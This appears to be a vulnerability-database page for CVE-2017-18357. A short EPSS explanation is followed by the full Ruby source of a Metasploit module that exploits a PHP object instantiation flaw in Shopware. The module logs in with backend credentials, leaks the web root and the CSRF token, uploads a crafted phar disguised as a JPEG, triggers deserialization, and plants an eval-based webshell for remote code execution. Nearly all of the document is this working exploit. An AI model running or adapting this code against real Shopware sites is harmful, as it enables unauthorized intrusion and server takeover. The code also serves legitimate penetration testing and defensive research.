CVE-2017-18357 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => "Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE", 'Description' => %q( This module exploits a php object instantiation vulnerability that can lead to RCE in Shopware. An authenticated backend user could exploit the vulnerability. The vulnerability exists in the createInstanceFromNamedArguments function, where the code insufficiently performs whitelist check which can be bypassed to trigger an object injection. An attacker can leverage this to deserialize an arbitrary payload and write a webshell to the target system, resulting in remote code execution. Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3. ), 'License' => MSF_LICENSE, 'Author' => [ 'Karim Ouerghemmi', # original discovery 'mr_me <steven@srcincite.io>', # patch bypass, rce & msf module ], 'References' => [ ['CVE', '2017-18357'], # not really because we bypassed this patch ['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/'] # initial writeup w/ limited exploitation ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => "May 09 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "Base Shopware path", '/']), OptString.new('USERNAME', [true, "Backend username to authenticate with", 'demo']), OptString.new('PASSWORD', [false, "Backend password to authenticate with", 'demo']) ] ) end def do_login res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'backend', 'Login', 'login'), 'vars_post' => { 'username' => datastore['username'], 'password' => datastore['password'], } ) unless res fail_with(Failure::Unreachable, "Connection failed") end if res.code == 200 cookie = res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first if res.nil? return end return cookie end return end def get_webroot(cookie) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo', 'info'), 'cookie' => cookie ) unless res fail_with(Failure::Unreachable, "Connection failed") end if res.code == 200 return res.body.scan(%r{DOCUMENT_ROOT </td><td class="v">(.*) </td></tr>}).flatten.first end return end def leak_csrf(cookie) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'backend', 'CSRFToken', 'generate'), 'cookie' => cookie ) unless res fail_with(Failure::Unreachable, "Connection failed") end if res.code == 200 if res.headers.include?('X-Csrf-Token') return res.headers['X-Csrf-Token'] end end return end def generate_phar(webroot) php = Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#{@shll_bd}.php") register_file_for_cleanup("#{@shll_bd}.php") pop = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";" pop << "s:#{php.length}:\"#{php}\";" pop << "s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";" pop << "a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHttp\\Cookie\\SetCookie\x00data\";" pop << "a:3:{s:5:\"Value\";" pop << "s:48:\"<?php eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\";" pop << "s:7:\"Expires\";" pop << "b:1;" pop << "s:7:\"Discard\";" pop << "b:0;}}}}" file = Rex::Text.rand_text_alpha_lower(8) stub = "<?php __HALT_COMPILER(); ?>\r\n" file_contents = Rex::Text.rand_text_alpha_lower(20) file_crc32 = Zlib::crc32(file_contents) & 0xffffffff manifest_len = 40 + pop.length + file.length phar = stub phar << [manifest_len].pack('V') # length of manifest in bytes phar << [0x1].pack('V') # number of files in the phar phar << [0x11].pack('v') # api version of the phar manifest phar << [0x10000].pack('V') # global phar bitmapped flags phar << [0x0].pack('V') # length of phar alias phar << [pop.length].pack('V') # length of phar metadata phar << pop # pop chain phar << [file.length].pack('V') # length of filename in the archive phar << file # filename phar << [file_contents.length].pack('V') # length of the uncompressed file contents phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970. phar << [file_contents.length].pack('V') # length of the compressed file contents phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents phar << [0x1b6].pack('V') # bit-mapped file-specific flags phar << [0x0].pack('V') # serialized File Meta-data length phar << file_contents # serialized File Meta-data phar << [Rex::Text.sha1(phar)].pack('H*') # signature phar << [0x2].pack('V') # signiture type phar << "GBMB" # signature presence return phar end def upload(cookie, csrf_token, phar) data = Rex::MIME::Message.new data.add_part(phar, Rex::Text.rand_text_alpha_lower(8), nil, "name=\"fileId\"; filename=\"#{@phar_bd}.jpg\"") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'backend', 'mediaManager', 'upload'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, 'cookie' => cookie, 'headers' => { 'X-CSRF-Token' => csrf_token } ) unless res fail_with(Failure::Unreachable, "Connection failed") end if res.code == 200 && res.body =~ /Image is not in a recognized format/i return true end return end def leak_upload(cookie, csrf_token) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'backend', 'MediaManager', 'getAlbumMedia'), 'cookie' => cookie, 'headers' => { 'X-CSRF-Token' => csrf_token } ) unless res fail_with(Failure::Unreachable, "Connection failed") end if res.code == 200 && res.body =~ /#{@phar_bd}.jpg/i bd_path = $1 if res.body =~ /media\\\/image\\\/(.{10})\\\/#{@phar_bd}/ register_file_for_cleanup("image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg") return "media/image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg" end return end def trigger_bug(cookie, csrf_token, upload_path) sort = { "Shopware_Components_CsvIterator" => { "filename" => "phar://#{upload_path}", "delimiter" => "", "header" => "" } } res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'), 'cookie' => cookie, 'headers' => { 'X-CSRF-Token' => csrf_token }, 'vars_get' => { 'sort' => sort.to_json } ) unless res fail_with(Failure::Unreachable, "Connection failed") end return end def exec_code send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "media", "#{@shll_bd}.php"), 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" }, 1) end def check cookie = do_login if cookie.nil? vprint_error "Authentication was unsuccessful" return Exploit::CheckCode::Safe end csrf_token = leak_csrf(cookie) if csrf_token.nil? vprint_error "Unable to leak the CSRF token" return Exploit::CheckCode::Safe end res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'), 'cookie' => cookie, 'headers' => { 'X-CSRF-Token' => csrf_token } ) if res.code == 200 && res.body =~ /Shop not found/i return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end @phar_bd = Rex::Text.rand_text_alpha_lower(8) @shll_bd = Rex::Text.rand_text_alpha_lower(8) @header = Rex::Text.rand_text_alpha_upper(2) cookie = do_login if cookie.nil? fail_with(Failure::NoAccess, "Authentication was unsuccessful") end print_good("Stage 1 - logged in with #{datastore['username']}: #{cookie}") web_root = get_webroot(cookie) if web_root.nil? fail_with(Failure::Unknown, "Unable to leak the webroot") end print_good("Stage 2 - leaked the web root: #{web_root}") csrf_token = leak_csrf(cookie) if csrf_token.nil? fail_with(Failure::Unknown, "Unable to leak the CSRF token") end print_good("Stage 3 - leaked the CSRF token: #{csrf_token}") phar = generate_phar(web_root) print_good("Stage 4 - generated our phar") if !upload(cookie, csrf_token, phar) fail_with(Failure::Unknown, "Unable to upload phar archive") end print_good("Stage 5 - uploaded phar") upload_path = leak_upload(cookie, csrf_token) if upload_path.nil? fail_with(Failure::Unknown, "Cannot find phar archive") end print_good("Stage 6 - leaked phar location: #{upload_path}") trigger_bug(cookie, csrf_token, upload_path) print_good("Stage 7 - triggered object instantiation!") exec_code end end